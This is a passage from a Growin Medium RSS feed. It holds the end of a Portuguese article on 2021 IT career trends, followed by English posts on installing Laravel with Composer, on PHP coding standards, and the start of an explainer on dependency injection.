sempre ao contexto que a rodeia, às vantagens e às adversidades, e é nessa linha que esta análise se situa.</p><h4>Quero ser bem-sucedido(a). Em que áreas devo apostar nos próximos anos?</h4><p>A pandemia veio transformar necessidades importantes de responder em cruciais. A urgência em manter as pessoas ligadas, funcionais e próximas — sem haver um contacto físico — e, por sua vez, o dinamismo da economia explica, em parte, o boom da área tecnológica.</p><p>Prevê-se que até 2025 surjam cerca de 97 milhões de novas funções associadas com a tecnologia e algoritmia como Data Science, AI (Artificial Intelligence), Machine Learning, Robótica, Desenvolvimento de Software, IoT (Internet of Things) e Cibersegurança. A necessidade surge da rapidez e riscos que, agora em força, são exigidos online.</p><p>Simultaneamente, setores da atualidade como o ambiente, saúde e indústria emergem com o objetivo de se transformarem em economias mais verdes, revolucionando formas de produção e criação de novos serviços. Isto leva a uma maior procura de engenheiros de materiais, especialistas da área de social media na vertente do consumidor, geneticistas e engenheiros de energias renováveis.</p><p>No reverso da moeda, papéis ligados a funções estandardizadas, manuais, burocráticas e de baixa criatividade (ex: administrativos, vendedores, mecânicos e trabalhadores fabris) surgem nos últimos lugares da tabela.</p><h4>O que nos espera ao trabalharmos numa das áreas com maior tendência de crescimento?</h4><p>Nos últimos 5 anos, 72% dos novos profissionais que entraram no mercado de análise de dados e AI não provinham de formação ligada às Tecnologias de Informação ou Engenharia. Isto mostra que estas áreas são reconhecidas como o futuro e são, por isso, cativantes.</p><p>A revolução tecnológica é algo evidente e é expectável que evolua nos próximos anos. Aliado a estas áreas, e para o sucesso da interação humana, um dos passos cruciais a dar para que haja fluidez na nova economia é a adaptação a equipas multidisciplinares (com diferentes formações de base).</p><p>Porém, há desafios que surgem durante uma mudança de percurso profissional, mesmo que desejados e planeados.</p><p>Apenas 50% das pessoas que quiseram mudar de carreira a full-time (que vinham de áreas com menos saída profissional ou com menor ligação formativa com estas áreas) é que conseguiram transitar para áreas como Dados, AI, Cloud Computing e People and Culture; ao contrário dos 75% e 67% que transitaram para funções nas áreas de Vendas e Engenharia, respetivamente.</p><p>Aparentemente, há um desafio maior na mudança para áreas que têm uma menor ligação com a área formativa ou experiência das pessoas.</p><h4>Todos temos algo a melhorar na nossa forma de ser. Em que skills devemos investir?</h4><p>A formação e a aprendizagem contínua (<em>upskilling</em>) é crucial em situações imprevistas e de grande impacto, como o contexto atual que vivemos. Por esse motivo, a melhoria das <em>hard skills, soft skills</em> ou até de processos de reconversão de carreira (<em>reskilling</em>) é um dos pontos mais valorizados pelos profissionais, atualmente, numa empresa.</p><p>Respondendo a esta procura e necessidade, há uma clara tendência das empresas investirem mais na formação. Hoje em dia, o nível de acesso dos colaboradores nas empresas ao <em>reskilling</em> e <em>upskilling</em> é de 62% e espera-se que até 2025 aumente em 11%.</p><p>Pela evidente necessidade das pessoas se transformarem e tornarem resilientes, muitas das competências mais valorizadas têm sido aquelas com maior foco naquilo que torna cada pessoa única e flexível.</p><p><strong>Além do pensamento inovador/analítico e resolução de problemas que se têm mantido no top das mais solicitadas, junta-se, em 2021, a aprendizagem ativa, pensamento crítico, criatividade, liderança, competências tecnológicas, resiliência, tolerância ao stress e a própria flexibilidade.</strong></p><p>Há algo que devemos destacar do ano de 2020 sobre esta temática, que surge da análise do uso da plataforma de e-learning <a href="https://pt.coursera.org/">Coursera</a>. Concluiu-se que, após os primeiros meses da pandemia da COVID-19, o foco da formação começou a divergir em dois caminhos: formações técnicas no âmbito das Tecnologias de Informação (sobretudo em pessoas desempregadas) e formações de caráter de desenvolvimento pessoal (maioritariamente em pessoas empregadas), como mindfulness, meditação e gratidão.</p><p>Este último ponto é de facto interessante, pois há um aparente crescimento da preocupação e tempo investido na vertente das soft skills e de desenvolvimento pessoal quando as necessidades profissionais estão estáveis.</p><p>Estes dados mostram não só que as pessoas estão sensíveis a este tema como reconhecem a importância destas skills para o bem-estar pessoal e produtividade.</p><p>Já sobre o <em>reskilling</em>, o tema é também primordial quando se prevê que cerca de 40% dos profissionais atuais dentro de 6 meses ou menos tenham de passar por este processo, nomeadamente em indústrias como as do Consumo e da Saúde.</p><p>Para tal ser possível, a tendência, em momento de pandemia, tem sido o recurso a plataformas de formação online (como a Coursera). Neste caso, a procura por cursos online quadruplicou e registou-se o quíntuplo de acessos dados pelas empresas aos colaboradores de forma a tirarem esses cursos.</p><p>Já o investimento que terá de ser feito na formação é distinto consoante a carreira a querer seguir.</p><p>Enquanto o tempo de conversão para se adquirir as principais competências para profissões ligadas a RH, Vendas ou Marketing situa-se entre 1–2 meses; para ir para Cloud ou Engenharia, o tempo aumenta para 4–5 meses.</p><p>Pela tecnicidade e especificidade da função, a formação tem de ser mais longa e intensa, havendo a necessidade de abertura das empresas para esse reskilling, aumentando mais o tempo de formação — caso o profissional venha de uma área menos similar.</p><h4>Como responder às exigências emergentes? Principais conclusões a reter.</h4><p>Após esta revisão, chegamos a várias conclusões. Algumas já previstas e outras que são novas. Importa salientar as principais, que em muito vão moldar o mercado de trabalho nos próximos anos.</p><ul><li>O setor tecnológico vai continuar a crescer, nomeadamente as áreas como Data Science, AI, Machine Learning, Robótica, Desenvolvimento de Software, IoT e Cibersegurança.</li><li>O grau de similaridade entre a área profissional/formação e aquela em que se pretende entrar, vai determinar o grau de facilidade de mudança para uma outra função, sendo que mais similar facilitará a mudança. Quanto menor for este grau de similaridade, mais obstáculos serão encontrados e uma maior resiliência será necessária.</li><li>Áreas mais técnicas, como Data e AI, poderão ser mais difíceis de transitar — apesar de nos próximos anos serem das mais procuradas pelo mercado e por novos profissionais. Esta dificuldade advém, muito provavelmente, pelos conhecimentos específicos e <em>skill tool</em> que são valorizados dentro destas áreas (ex: raciocínio abstrato, lógica). Vai fazer a diferença: refletir sobre o que estes profissionais fazem na prática, apostar na formação específica na área que se ambiciona e desenvolver <em>soft skills</em> como espírito de equipa, raciocínio e planeamento.</li><li>As <em>skills</em> mais procuradas em 2021 e nos próximos anos assentam na inovação, criatividade, análise e resiliência. Estas serão as bases para qualquer profissional que queira ser bem sucedido e/ou que pretenda mudar de área. Tal apoia a necessidade de ser diferente, de se saber destacar da multidão e de trazer valor dentro de uma equipa e uma empresa, ao invés de seguir o caminho já traçado e ser apenas “operacional”.</li><li>A formação é cada vez mais importante para qualquer profissional. O investimento na formação tem crescido e vai manter-se nesta trajetória tanto do lado dos profissionais, como das empresas.<br>A disponibilização de formação à medida de cada colaborador é uma das melhores formas de reconhecer valor e apostar na carreira de um profissional. Contudo, a mesma deverá ser contínua, apoiando não só uma vertente de <em>upskills</em> personalizada aos interesses de cada um, mas também de reskilling de profissionais que pretendem mudar de área. Também o investimento numa formação abrangente nas abordagens, como interna, externa, métodos mais formais e informais, é relevante para que possa chegar a todos e à forma que mais se adequa a cada pessoa. Os temas disponíveis também devem ser diversificados de maneira a atender aquilo que a pessoa sente mais necessidade de investir, seja com caráter mais de desenvolvimento pessoal ou técnico.</li></ul><h4>Resumindo…</h4><p>Todos estes temas devem ser atendidos pelas empresas e pelos profissionais que pretendem investir numa mudança de carreira ou que querem simplesmente dar o próximo passo, tornando-se melhores profissionais em 2021.</p><p>Empresas tecnológicas como a Growin têm um desafio em mãos que se prevê manter em atrair, reter e motivar profissionais do ramo tecnológico.</p><p>Entre diversos pontos, a chave poderá estar na aposta das pessoas que fazem parte da empresa, no potencial e nas competências que os colaboradores já têm neste momento, mas que podem vir a desenvolver com a empresa, por meio de formação e acompanhamento.</p><p>Assim, a formação contínua acompanha as tendências e adapta-se às motivações daquilo que a pessoa quer fazer agora e no futuro. Neste sentido, uma consultora de TI como a Growin — que aposta no desenvolvimento profissional e pessoal dos seus Growinners* — pode fazer a diferença ao disponibilizar as ferramentas essenciais para que os seus colaboradores possam adaptar-se aos novos tempos que se avizinham.</p><p>*nome dado às pessoas que fazem parte da empresa</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=740567559fcd" width="1" height="1" alt=""><hr><p><a href="https://medium.com/growininsights/a-transforma%C3%A7%C3%A3o-do-talento-em-2021-na-%C3%A1rea-das-tecnologias-de-informa%C3%A7%C3%A3o-740567559fcd">A Transformação do Talento em 2021 na área das Tecnologias de Informação</a> was originally published in <a href="https://medium.com/growininsights">Growin</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What is the Laravel framework?]]></title>
            <link>https://medium.com/growininsights/what-is-the-laravel-framework-cc4fd9586359?source=rss----e27839a53216---4</link>
            <guid isPermaLink="false">https://medium.com/p/cc4fd9586359</guid>
            <category><![CDATA[laravel]]></category>
            <category><![CDATA[framework]]></category>
            <category><![CDATA[php]]></category>
            <dc:creator><![CDATA[Ricardo Aranha]]></dc:creator>
            <pubDate>Mon, 07 Dec 2020 19:16:32 GMT</pubDate>
            <atom:updated>2020-12-07T19:16:32.709Z</atom:updated>
            <content:encoded><![CDATA[<h4>A quick overview of installing the Laravel PHP framework for quicker and easier software development</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x7EAAMdWiosIs9_fPB0ePA.jpeg" /><figcaption>This post was originally posted on <a href="https://www.growin.com/blog/">Growin’s blog</a></figcaption></figure><p>Laravel is a powerful web framework developed with PHP that allows developers to spend less time laying down the foundation of the project and spend more time in the actual development. It already comes with a lot of the basics pre-configured, things like database connections, mailing, authentication, translations, template engine, Vue.JS pre-installed, and many more that demand time to configure every time you start a new project.</p><p>The framework also follows the MVC (Model-view-controller) pattern, the most popular in web development, giving you the tools to write more clear and efficient code. The goal of this article is to guide you through the steps of installing, configuring, and starting your project with Laravel.</p><h3>What do you need to start using Laravel?</h3><p>Laravel offers you the <a href="https://laravel.com/docs/7.x/homestead"><strong>Laravel Homestead</strong></a>, an Ubuntu virtual machine that includes all the software you need, such as Apache, Nginx, Git, PHP, and MySQL. Although it is good to start with this approach, I’ll focus on the most universal path for starting to use Laravel, but feel free to check out the Homestead and see if it can be of use to you.</p><p>To start with Laravel without the Homestead you will need to have PHP installed — Laravel works with different PHP versions, but here we will focus on PHP 7+. There are many ways to install PHP: you can install it stand-alone with a web server of choice (if you are a Linux or Mac user you can follow the <a href="https://en.wikipedia.org/wiki/LAMP_(software_bundle)">LAMP</a> or <a href="https://en.wikipedia.org/wiki/MAMP">MAMP</a> software stack) or with web servers stacks packages such as <a href="https://www.apachefriends.org/index.html">XAMPP</a>, <a href="https://www.wampserver.com/en/">WAMP</a>, or <a href="https://www.easyphp.org/">EasyPHP</a>. All of these options come with a web server (Apache or Nginx) and SQL database, and most import PHP. This should include all of the essentials you need to start using Laravel.</p><p>After installing PHP, make sure you have the following extensions. All of them are required for Laravel to work with its full capacity (depending on the framework’s version):</p><p>BCMath PHP Extension<br>Ctype PHP Extension<br>Fileinfo PHP extension<br>JSON PHP Extension<br>Mbstring PHP Extension<br>OpenSSL PHP Extension<br>PDO PHP Extension<br>Tokenizer PHP Extension<br>XML PHP Extension</p><p>Now that you have PHP installed, we can move to the next step. To install Laravel you will need to first install <a href="https://getcomposer.org/">Composer</a>, a dependency management tool for PHP (can also be used to install any missing extensions). For Windows users, you just need to <a href="https://getcomposer.org/Composer-Setup.exe">download</a> and run the Composer setup. If you are on Linux or Mac, you can follow the command lines below:</p><p>php -r &quot;copy(&#39;https://getcomposer.org/installer&#39;, &#39;composer-setup.php&#39;);&quot;</p><p>php -r &quot;if (hash_file(&#39;sha384&#39;, &#39;composer-setup.php&#39;) === &#39;e5325b19b381bfd88ce90a5ddb7823406b2a38cff6bb704b0acc289a09c8128d4a8ce2bbafcd1fcbdc38666422fe2806&#39;) { echo &#39;Installer verified&#39;; } else { echo &#39;Installer corrupt&#39;; unlink(&#39;composer-setup.php&#39;); } echo PHP_EOL;&quot;</p><p>php composer-setup.php</p><p>php -r &quot;unlink(&#39;composer-setup.php&#39;);&quot;</p><p>After this open your command prompt/terminal and type:</p><p>composer global require laravel/installer</p><p>Wait for the Laravel installation to finish, then navigate to the folder where you want to start your project and type:</p><p>laravel new YOUR_PROJECT_NAME</p><p>Alternatively (or if your system can’t find the Laravel command), you can also use Composer for this by typing:</p><p>composer create-project --prefer-dist laravel/laravel YOUR_PROJECT_NAME</p><p>Once you finish this step you will have your Laravel project working and ready to start developing. You can use Apache/Nginx to serve your application or you can use the command “PHP artisan serve” PHP’s built-in development server. Sometimes less is better</p><p>As mentioned before Laravel comes with lots of resources, but what if you don’t need all of them? What if you just want to develop an API or you want to build something small and Laravel seems overwhelming?</p><p>For scenarios like this, Laravel has a micro version called Lumen with only the essential features you will need to develop APIs and Web services. The steps to install <a href="https://lumen.laravel.com/">Lumen</a> are the same as those for Laravel, you just have to replace some names as you can see in the commands below.</p><p>composer global require &quot;laravel/lumen-installer&quot;</p><p>Starting project with Lumen:</p><p>lumen new YOUR_PROJECT_NAME</p><p>Starting project with Composer:</p><p>composer create-project --prefer-dist laravel/lumen YOUR_PROJECT_NAME</p><p>Besides these small changes, the rest of the installation process and tools will be the same. You will only need three PHP extensions this time.</p><p>OpenSSL PHP Extension<br>PDO PHP Extension<br>Mbstring PHP Extension</p><h3>More features</h3><p>Laravel provides a basic start for front-end to quickly begin developing with Bootstrap and React or Vue. For this, you have to first install the <strong>laravel/ui</strong> package with Composer. See the steps below:</p><p>composer require laravel/ui</p><p>Once the UI package is installed, you can proceed to install the front-end packages.</p><p>Basic installation:</p><p>php artisan ui bootstrap<br>php artisan ui vue<br>php artisan ui react</p><p>Installation with authentication system:</p><p>php artisan ui bootstrap --auth<br>php artisan ui vue --auth<br>php artisan ui react --auth</p><p>*This doesn’t mean that you can only use these three options. You can also use Angular or any other front-end framework with Laravel; these are just suggestions that Laravel brings ready to go.</p><h3>Conclusion</h3><p>Laravel is a very powerful and popular framework, it can be used for small and big projects and has all the features you will need and many more services to offer. The Laravel ecosystem also offers lots of tools like Nova (an admin panel), Telescope (a debug assistant), Echo (to handle real-time events), and many other tools to take you even further. The framework’s documentation is very straightforward and simple to understand, and the community around it is very active and helpful.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cc4fd9586359" width="1" height="1" alt=""><hr><p><a href="https://medium.com/growininsights/what-is-the-laravel-framework-cc4fd9586359">What is the Laravel framework?</a> was originally published in <a href="https://medium.com/growininsights">Growin</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Why use Coding Standards?]]></title>
            <link>https://medium.com/growininsights/why-use-coding-standards-b308c2c1aafa?source=rss----e27839a53216---4</link>
            <guid isPermaLink="false">https://medium.com/p/b308c2c1aafa</guid>
            <category><![CDATA[coding-standards]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[php]]></category>
            <dc:creator><![CDATA[Rui M. Silva]]></dc:creator>
            <pubDate>Wed, 02 Dec 2020 11:14:33 GMT</pubDate>
            <atom:updated>2020-12-02T11:14:33.367Z</atom:updated>
            <content:encoded><![CDATA[<h4>The importance of using standard guidelines to create readable and consistent code for high-quality software development</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F0_VU_-0R6lrZLVuTon_9w.jpeg" /><figcaption>This post was originally posted on <a href="https://www.growin.com/blog/">Growin’s blog</a></figcaption></figure><p>Code development happens at a fast pace, requires a quick turn around on deliverables, and is dependent on roadmap milestones. While often overlooked, coding standards are important to creating readable and consistent code and will have a significant impact on software development.</p><p>This topic became a part of my personal signature on writing code, especially after working on a project in which I changed from not using standards to having to enforce them. That made me realize how important they are. The project seemed doomed from the start due to unnecessary unresolvable complexity, not abiding by any coding standard at all, and other issues in regard to both design and style best practices.</p><h3>What are coding standards?</h3><p>Coding standards are no more than an agreed-upon, <strong>defined</strong>, and <strong>shared </strong>set of procedures or rules that specify the style in which the code and methods should be written. The bold text serves to point out that sometimes the following happens: developers who hoard decisive power over the project development may try to impose their own beliefs and unmerited opinions on others. That is not adhering to coding standards. Standards are not personal opinions; they need to be agreed upon, explicitly defined, and made available to those who need to use and abide by them.</p><p>In summary, coding standards are rules for coherence, as the generic concept of a standard implies.</p><h3>Why are coding standards important?</h3><p>How do they impact development and the project overall?<br>Adhering to a set of rules to make code visually consistent is a major factor in guaranteeing software quality, as it makes code easy to read, analyze, and work through. It becomes easier to maintain and extend, most importantly by newcomers.</p><p>Why is it easier to maintain and extend?</p><ul><li>Anyone involved in the project can look at any part of the code, comprehend it, and change it regardless of when it was written during the project.</li><li>It will also be better safeguarded against bugs.</li><li>Standards lead to lower code complexity and more elegant design, which makes code safer to change and test.</li></ul><p>E.g.:<br>A somewhat unwritten rule is that a function should fulfill one single purpose. That results in shorter functions that are easier to read and comprehend.<br>If you end up with a +1000 instruction long function, it is likely performing several actions in sequence and with dependencies. It will be hard to read, to understand its purpose and execution path, to change something in it without breaking something else, and to test. The code should be more modular. That poorly-written function is highly prone to:</p><ul><li>having their purpose misinterpreted,</li><li>break something else after changing code,</li><li>not being testable,</li><li>the occurrence of bugs, and</li><li>causing someone other than the original coder to waste tons of time trying to understand it.</li></ul><p>Even if it is a smaller function, mixing responsibilities and presenting no uniformity in writing style may result in these previously mentioned setbacks.</p><p>Here you have a visual example of code that is sloppy, incomprehensible, unorganized, and completely unstructured (in PHP):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/0*kuI7kRZmi7K9psIX.png" /></figure><p>At first glance, the code is hard to read and to understand what it does. There seems to be no separation of responsibilities: from logic to data retrieval, view output, and presentation. There seems to be no coherence in the writing style. It looks like it may have been written by several developers, all with different signature writing styles. Here are some other issues:</p><ul><li>There is no design pattern</li><li>Inline PHP code inside the view is not the best approach for readability and reusability</li><li>No comments anywhere to explain what more complex code does</li><li>No newlines or any sort of visual separation between blocks of code with different responsibilities</li><li>Some variables are named carelessly, their names are without meaning (thus their purpose is inconclusive), and have no convention adopted, from snake case to camel case</li><li>No limit in character length for each line</li><li>Inconsistency on the calls to the ‘echo’ construct</li><li>PHP opening tags are inconsistent (some are short tags, some are long)</li><li>Spacing on operators and curly brackets are inconsistent, with curly brackets either on the same line as the control structures or the following line</li><li>Conditions are also inconsistent in their presentation: some have curly brackets while some do not</li><li>Foreach loop arguments are unconventionally named</li><li>Alternation between the usage of single quotes to double-quotes</li></ul><p>Here is an example of code written in Laravel with PHP with the same purpose as the previous code, but far easier to read and following an MVC design pattern.</p><p><strong>The MVC’s Controller</strong>: it controls the application flow, i.e., returns the response for a request and passes it to a <em>view</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/0*pX9dV3caEgwX_7gi.jpg" /></figure><p><strong>A class that fulfills database-layer operations for one entity (Product):</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/0*axGUOew-VtWSc_M0.png" /></figure><p><strong>The view</strong>, simply responsible for presenting the data to the UI:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/0*Th7DML33x8ivEAYf.png" /></figure><p>There would also be classes for representing the domain entities (such as Product and Discount in this case), translated from database language into objects in the programming language itself through ORM, utility class, or classes with auxiliary functions and logic, classes for validations, etc.</p><p>As you can see, despite the code being longer, it is separated into PHP classes by responsibility: business logic, entities, database querying, view presentation, etc. It is more structured (in accordance with MVC) and organized. It is duly commented where the code is not entirely clear and properly documented. It abides by spacing and indentation standards and has a coherent visual style.</p><h3>What about the disadvantages of coding standards?</h3><p>Are there drawbacks to enforcing standards?<br>Isn’t it costly to ensure that coding standards are used during development?</p><p>It shouldn’t be. It may have a somewhat small toll at first when adapting to a new set of rules or when getting used to different guidelines, but the effort invested in automating those into your own coding habits should be minimal, even unworthy of consideration in project effort estimates. To further emphasize that it is cost-free, there are tools available that allow to write code following specific sets of coding standards automatically. These tools are available for most languages and can integrate most IDEs. For example, PHP-CS-Fixer is used to validate PHP code against PSR conventions, Checkstyle to validate Java against Sun’s conventions, and so on.</p><p>This prevents bad code from being pushed live or code reviewers from wasting time on easily avoidable, time-consuming tasks, such as pointing out a missing blank line somewhere in the code (and from experience, no one ever wants to be THAT guy who in reality is just trying to ensure that clean, readable code goes into the codebase).</p><p>If the code becomes easier to read in the short term and is properly documented and consistent, it will be quicker to review (and correct if needed) with less effort. That translates directly into cost reduction and, since adopting standards is one of the most efficient approaches to prevent paying back later with interest at a technical scale, it directly reduces software entropy as well.</p><p>My experience tells me that adopting standards should be a mandatory practice. So far I have never come across anyone arguing otherwise. However, I have come across projects being developed under a highly-defended theoretical belief in all those commandments as if they were etched in stone. But then in practice, they were avoided like the plague, as if they were arduous to apply. The only explanation I have for it is that they prioritized the speed of deployment over clean and consistent code. Nothing justifies that.</p><h3>How do I use standards?</h3><p>At university, I was taught to code a certain way: procedurally and stylistically.</p><p>The first thing I was re-taught (or rather was imposed on me) when I started coding at a company was to code a different way under their mantra, “what you learn in university is wrong and doesn’t apply in real-life business.” So I adopted those new standards and other best practices as my new truth. Then, at a new project, my new truth was again dethroned by new standards believed by them to be the utmost truth. And so on and on from project to project. Where are the standards across these examples? There doesn’t seem to be any.<br>There is controversy in the coding community as to how a lot of coding features should be written, so a standard set is similar with the concept of interest, but not necessarily universal. Some things are somewhat agreed, while others are not.</p><p>But for those language features for which there is no consensus, what matters is that it is consistent within the project. This means it does not matter if you write:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/448/0*IHHpNh6fAUe8o7ug.png" /></figure><p>or:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/406/0*MQ8EAhNv9-AjDCfe.png" /></figure><p>as long as you stick to one of those across the project, and everyone else does the same. I’ve seen countless arguments defending one way or the other.<br>Some other rules, for instance, should keep true for every project, such as the +1000 instruction long function example; doing that is by definition a bad practice, regardless of the project or the language it’s programmed in.<br>How can you enforce this on a project to ensure it does not derail the conventions and escalate complexity, and reduce maintainability?<br>You can always use, in your local development environment, tools that validate adhesion to your conventions simply by running a command:</p><ul><li>decide on a set of conventions your code will abide by,</li><li>configure whatever tool you’re using to comply with that set (adapt as you please as most are configurable or manually overridable), and</li><li>configure it to run automatically on a Continuous Integration environment, so that if something fails to comply, the CI build generation fails, the developer is informed of it and can fix it, thus preventing bad, poorly written, or merely unstandardized code to be pushed live.</li></ul><p>I’ve always used PHP-CS-Fixer for PHP, but there are others and other programming languages will have their own. The more you adopt this best practice as an automated habit of your own coding style, the more likely you are to write better code on the first run, and less likely to spend time fixing stylistic approaches in the end before pushing code.</p><h3>Standards in place</h3><p>What are some specific things that can usually be considered standards for achieving better-written code?<br>The first thing you need to understand is the purpose of each rule and why it is used that way.</p><p>The example I’ve referred to on curly brackets positioning (a controversial one) has my defense under the following explanation.<br>Most IDEs show a vertical ruler tracing matching opening and ending of code blocks, so:</p><ul><li>aligning those makes it easier for deeply nested blocks of code to be read;</li><li>never exchange clarity for brevity by omitting curly brackets even if the language allows you to;</li><li>if you click the closing curly bracket on this IDE (and others), it highlights the opening one and whether they’ll be visually aligned, so it is more straightforward to visually isolate and read blocks of code.</li></ul><p>Here, it seems difficult to pinpoint where opening curly brackets are, based on the matching closing curly brackets (and vice-versa):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/0*mHF8583VaTJMoZ6R.png" /></figure><p>To me, this way makes it more visually appealing and readable:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/0*vGnSJKogv87GxjTM.png" /></figure><p>Another example, which assuredly leaves no room for debate as there is no backing up the bad practice, is the character limit per line (80 is usually a somewhat good value to establish as a limit).</p><p>This looks bad. As you can see, the line extends way beyond a visual guideline that serves as a ruler:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/0*7uNuCOfPShMW8wEf.png" /></figure><p>Maybe reducing its length by splitting it into lines would make it more readable:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/0*KZItfXvt7j0xHZ0x.png" /></figure><p>It looks better (for vertical code scrolling), but to me, it is still pretty much unreadable. This isn’t necessarily a line length issue now, but rather a matter of sequential comprehension of the criteria for this if condition. Maybe it is best to adopt a more readable, logical structure as the guideline:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/0*XpLScYEGLT0yknhG.png" /></figure><p>This makes it much easier to point out exactly under what criteria that condition verifies.</p><p>Another example is that test classes should always start with the name of the function they test, then, in camel-case, have “Test” added to their ends: the class EmailController should be tested by the EmailControllerTest class.</p><p>In the end, the most critical action you ought to take is to automate the process of verifying these standards. The tools you use for this should check for both style and design problems.</p><h3>In summary</h3><p>Regardless of the style with which you write your code, the main point is that you should focus on coherence, making sure you follow a set of guidelines that is agreed upon (such as establishing a limit of characters per line or of instructions per function, comment the code that is not so directly comprehensible, etc.), and document it, and ensure to automate the code validation into CI processes. Style is not universally standardized nor a universal truth and what works best for some may not work for others, but adhering to standards in the project is paramount for readability, maintainability, and testability. In the end, the project that you and your team are working on should look like it was coded by one single developer alone.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b308c2c1aafa" width="1" height="1" alt=""><hr><p><a href="https://medium.com/growininsights/why-use-coding-standards-b308c2c1aafa">Why use Coding Standards?</a> was originally published in <a href="https://medium.com/growininsights">Growin</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What is Dependency Injection?]]></title>
            <link>https://medium.com/growininsights/what-is-dependency-injection-422159da7ce7?source=rss----e27839a53216---4</link>
            <guid isPermaLink="false">https://medium.com/p/422159da7ce7</guid>
            <category><![CDATA[dotnet-core]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[dependency-injection]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[ioc-container]]></category>
            <dc:creator><![CDATA[Tiago Fernandes]]></dc:creator>
            <pubDate>Wed, 11 Nov 2020 13:24:42 GMT</pubDate>
            <atom:updated>2020-11-11T13:24:42.348Z</atom:updated>
            <content:encoded><![CDATA[<h4>Definition, principles, and uses of this programming technique</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hXhBbel81BXBxG6lDgo5aQ.jpeg" /><figcaption>This post was originally posted on <a href="https://www.growin.com/blog/">Growin’s blog</a></figcaption></figure><p>Dependency Injection was introduced by Martin Fowler in the blog post <a href="https://martinfowler.com/articles/injection.html">Inversion of Control Containers and the Dependency Injection Pattern</a>. The principal objective is to separate the responsibility of resolving object dependency from its behavior.</p><h3>Definition</h3><p>Dependency Injection (DI) is a programming technique that makes a class independent of its dependencies.</p><p>“In software engineering, dependency injection is a technique whereby one object supplies the dependencies of another object. A ‘dependency’ is an object that can be used, for example as a service. Instead of a client specifying which service it will use, something tells the client what service to use. The ‘injection’ refers to the passing of a dependency (a service) into the object (a client) that would use it. The service is made part of the client’s state. Passing the service to the client, rather than allowing a client to build or find the service, is the fundamental requirement of the pattern.” Source: Wikipedia</p><p>Creating objects directly within the class is inflexible because it commits the class to particular objects and makes it impossible to change the instantiation later independently from the class. It stops the class from being reusable if other objects are required and it makes the class hard to test because real objects can not be replaced with mock objects.</p><p>Depending on an interface is more flexible than depending on concrete classes. Object-oriented languages provide ways in which you can replace those abstractions with concrete implementations at runtime. You want to do this as much as possible since it is the best way to make your codebase flexible and reusable.<br>To learn more about the benefits of using interfaces, check out this article on <a href="https://www.blinkingcaret.com/2016/04/13/composition-superior-inheritance/">“Why composition is superior to inheritance as a way of sharing code.”</a></p><h3>Separation of Concerns</h3><ul><li>DI assumes that <strong>the tight coupling</strong> of object implementations is bad.</li><li>DI assumes that the dependent class is never a good place to create a dependency.</li><li>DI by its nature centralizes knowledge of all dependencies and their implementations.</li></ul><h3>Tight Coupling and Loose Coupling</h3><p>Tight coupling is when a group of classes are highly dependent on one another. This scenario arises when a class assumes too many responsibilities, or when one concern is spread over many classes rather than having its own class.<br>Loose coupling is achieved by means of a design that promotes single-responsibility and separation of concerns.<br>A loosely-coupled class can be consumed and tested independently of other (concrete) classes.<br>Interfaces are a powerful tool to use for decoupling. Classes can communicate through interfaces rather than other concrete classes, and any class can be on the other end of that communication simply by implementing the interface.</p><h3>Inversion of Control (IoC), Dependency Inversion</h3><h4>Principle (DIP) and Dependency Injection (DI)</h4><p>Inversion of Control (IoC) is a design principle used to invert different kinds of controls in object-oriented design to achieve loose coupling.</p><p>Dependency Inversion Principle (DIP) says that high-level modules should not depend on low-level modules. Both should depend on the abstraction.<br>Abstractions should not depend on details should depend on abstractions.</p><p>Dependency Injection (DI) is a design pattern used to implement IoC.</p><h4>IoC Container</h4><p>When a new object is required, its dependencies need to be assigned to concrete classes. This task can be delegated to a container. When an instance of a particular type is requested to a container, it will inject the implementations required by that type. Those implementations are defined in a set of <em>mappings</em> that can easily be changed.</p><p>The Container creates an object of the specified class and also injects all the dependency objects through a constructor, a property, or a method at run time and disposes it at the appropriate time. This is done so that we don’t have to create and manage objects manually.<br>Containers provide support for the following DI <em>life cycle.</em></p><ul><li><strong>Register:</strong> Determines which dependency to instantiate when it encounters a particular type.</li><li><strong>Resolve:</strong> We don’t need to create objects manually. The container does it for us. The container includes some methods to resolve the specified type and creates an object of the specified type, injects the required dependencies, and returns the object.</li><li><strong>Dispose:</strong> Manages the lifetime of the dependent objects.</li></ul><h4>Service lifetimes</h4><p>The service life-time means how long the service will live before it’s disposed of. There are currently three different lifetimes:</p><ul><li><strong>Transient:</strong> The service is created each time it is requested</li><li><strong>Singleton:</strong> Created once for the lifetime of the application</li><li><strong>Scoped:</strong> Created once per request</li></ul><p>Examples of Containers:<br><a href="https://structuremap.github.io/">StructureMap</a><br><a href="https://github.com/unitycontainer/unity">Unity</a><br><a href="http://www.ninject.org/">Ninject</a><br><a href="https://autofac.org/">Autofact</a><br><a 